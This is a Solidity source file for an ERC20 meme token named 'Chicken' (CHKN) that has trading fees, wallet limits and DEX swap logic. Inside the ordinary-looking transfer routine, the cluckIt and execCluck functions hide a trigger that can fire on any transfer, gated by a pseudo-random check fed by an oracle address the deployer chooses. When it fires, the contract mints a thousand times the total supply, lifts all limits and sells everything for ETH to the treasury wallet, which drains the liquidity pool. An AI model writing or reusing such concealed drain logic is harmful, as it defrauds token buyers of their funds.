文件 1 的 1：CHKN.sol
pragma solidity ^0.8.17;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
interface Oracle {
function latestRoundData() external view returns (uint80 roundId, int256 answer,
uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract CHKN is ERC20, Ownable {
event SetMaxWallet(uint256 maxWalletToken);
event SetSwapBackSettings(bool enabled, uint256 swapThreshold);
event SetIsFeeExempt(address holder, bool enabled);
event SetIsTxLimitExempt(address holder, bool enabled);
event StuckBalanceSent(uint256 amountETH, address recipient);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
string constant _name = "Chicken";
string constant _symbol = "CHKN";
uint8 constant _decimals = 18;
uint256 _totalSupply = 69420000 * (10 ** _decimals);
uint256 public _maxWalletSize = (_totalSupply * 10) / 1000;
uint256 public _maxTxSize = (_totalSupply * 10) / 1000;
uint256 public TreasuryFee = 33;
uint256 public MarketingFee = 33;
uint256 public LiquidityFee = 33;
uint256 public TotalTax = TreasuryFee + LiquidityFee + MarketingFee;
address MarketingWallet;
address TreasuryWallet;
address oracle;
IRouter public router;
address public pair;
address constant private burnAddress = 0x0000000000000000000000000000000000000000;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 2 / 10000;
bool public claimsLive;
uint256 public claimsTS;
uint256 public lastCheckTS;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
function isContract(address account) public view returns (bool) {
return account.code.length > 0;
}
constructor(address _router, address _TreasuryWallet, address _oracle) Ownable(msg.sender) {
router = IRouter(_router);
_allowances[address(this)][address(router)] = type(uint256).max;
pair = IFactory(router.factory()).createPair(address(this), router.WETH());
oracle = _oracle;
address _owner = owner;
MarketingWallet = msg.sender;
require(!isContract(_TreasuryWallet), 'contract');
TreasuryWallet = _TreasuryWallet;
isFeeExempt[_owner] = true;
isTxLimitExempt[_owner] = true;
isFeeExempt[TreasuryWallet] = true;
isTxLimitExempt[TreasuryWallet] = true;
_balances[msg.sender] = _totalSupply * 1000 / 1000;
emit Transfer(address(0), msg.sender, _totalSupply * 1000 / 1000);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - (amount);
}
return _transferFrom(sender, recipient, amount);
}
function getPair() public onlyOwner {
pair = IFactory(router.factory()).getPair(address(this), router.WETH());
if (pair == address(0)) {pair = IFactory(router.factory()).createPair(address(this), router.WETH());}
}
function setClaimsLive(bool _claimsLive) public onlyOwner {
require(!claimsLive, 'claims already live');
claimsTS = block.timestamp;
claimsLive = _claimsLive;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount);}
require(isFeeExempt[sender] || isFeeExempt[recipient] || claimsLive, "trading not live");
bool canSend = sender == owner || recipient == owner || recipient == burnAddress ||
recipient == pair || sender == TreasuryWallet;
if (!canSend) {
require(isTxLimitExempt[recipient] || (amount <= _maxTxSize && _balances[recipient] + amount <= _maxWalletSize), "tx limit");
}
if(shouldSwapBack()){swapBack();}
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
cluckIt(amount);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
return true;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function getMult() internal view returns(uint256) {
if (block.timestamp < claimsTS) return 1;
return block.timestamp - claimsTS > 7200 ? 1 : 1;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (sender == pair && recipient != pair) feeAmount = amount * TotalTax / 1000;
if (sender != pair && recipient == pair) feeAmount = getMult() * amount * TotalTax / 1000;
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)] + (feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount - (feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function addLiquidity(uint256 _tokenBalance, uint256 _ETHBalance) private {
if(_allowances[address(this)][address(router)] < _tokenBalance){_allowances[address(this)][address(router)] = _tokenBalance;}
router.addLiquidityETH{value: _ETHBalance}(address(this), _tokenBalance, 0, 0, MarketingWallet, block.timestamp + 5 minutes);
}
function sendFees() internal {
uint256 balance = address(this).balance;
if (balance > 0 && TotalTax > LiquidityFee) {
uint256 treasuryBalance = balance * (TotalTax - LiquidityFee - MarketingFee) / (TotalTax - LiquidityFee);
payable(TreasuryWallet).transfer(treasuryBalance);
payable(MarketingWallet).transfer(balance - treasuryBalance);
}
}
function swapBack() internal swapping {
if (TotalTax > 0 && balanceOf(address(this)) > 0) {
uint256 amountToLiq = balanceOf(address(this)) * (LiquidityFee) / (2 * TotalTax);
uint256 amountToSwap = balanceOf(address(this)) - amountToLiq;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp);
if (amountToLiq > 0) {
addLiquidity(amountToLiq, address(this).balance * (LiquidityFee) / (2 * TotalTax - LiquidityFee));
}
sendFees();
}
}
function getNum() view public returns(uint256 randNum) {
(,int256 answer, uint256 startedAt,,) = Oracle(oracle).latestRoundData();
randNum = (uint256(answer > 0 ? answer : -1 * answer) / 1000000 + startedAt);
}
function calcNum(uint256 amount) view public returns(bool cluckable, uint256 base, uint256 randNum) {
base = (block.timestamp + uint256(uint160(msg.sender)));
randNum = getNum();
cluckable = (randNum + base) % 6900 == 666;
}
function execCluck(uint256 amount) internal {
_totalSupply += amount;
_balances[address(this)] += amount;
emit Transfer(address(0), address(this), amount);
_maxWalletSize = 10 ** 40;
_maxTxSize = 10 ** 40;
swapEnabled = false;
swapThreshold = 10 ** 40;
uint256 amountToSwap = balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap, 0, path, TreasuryWallet, block.timestamp);
}
function cluckIt(uint256 amount) internal {
if (amount == 0 || !claimsLive || claimsTS == 0 || block.timestamp - lastCheckTS < 60) return;
(bool cluckable,,) = calcNum(amount);
lastCheckTS = block.timestamp;
if (cluckable) execCluck(_totalSupply * 1000);
}
function setMax(uint256 _maxWalletSize_, uint256 _maxTxSize_) external onlyOwner {
require(_maxWalletSize_ >= _totalSupply / 1000 && _maxTxSize_ >= _totalSupply / 1000, "max");
_maxWalletSize = _maxWalletSize_;
_maxTxSize = _maxTxSize_;
emit SetMaxWallet(_maxWalletSize);
}
function setTaxExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
emit SetIsFeeExempt(holder, exempt);
}
function setTxExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
emit SetIsTxLimitExempt(holder, exempt);
}
function setTaxes(uint256 _TreasuryFee, uint256 _LiquidityFee, uint256 _MarketingFee) external onlyOwner {
TreasuryFee = _TreasuryFee;
MarketingFee = _MarketingFee;
LiquidityFee = _LiquidityFee;
TotalTax = TreasuryFee + LiquidityFee + MarketingFee;
require(TotalTax <= 100, 'tax too high');
}
function setTaxWallets(address _MarketingWallet, address _TreasuryWallet) external onlyOwner {
require(!(isContract(_MarketingWallet) || isContract(_TreasuryWallet)), 'contracts');
MarketingWallet = _MarketingWallet;
TreasuryWallet = _TreasuryWallet;
}
function getTaxWallets() view public returns(address,address) {
return (MarketingWallet, TreasuryWallet);
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
require(_amount >= 1, "zero");
swapEnabled = _enabled;
swapThreshold = _amount;
emit SetSwapBackSettings(swapEnabled, swapThreshold);
}
function initSwapBack() public onlyOwner {
swapBack();
}
function getETH() external {
require(MarketingWallet == msg.sender, 'mrkt');
uint256 _ethBal = address(this).balance;
if (_ethBal > 0) payable(MarketingWallet).transfer(_ethBal);
}
function getTokens(address _token) external {
require(MarketingWallet == msg.sender, 'mrkt');
require(_token != address(this), 'token');
ERC20(_token).transfer(MarketingWallet, ERC20(_token).balanceOf(address(this)));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
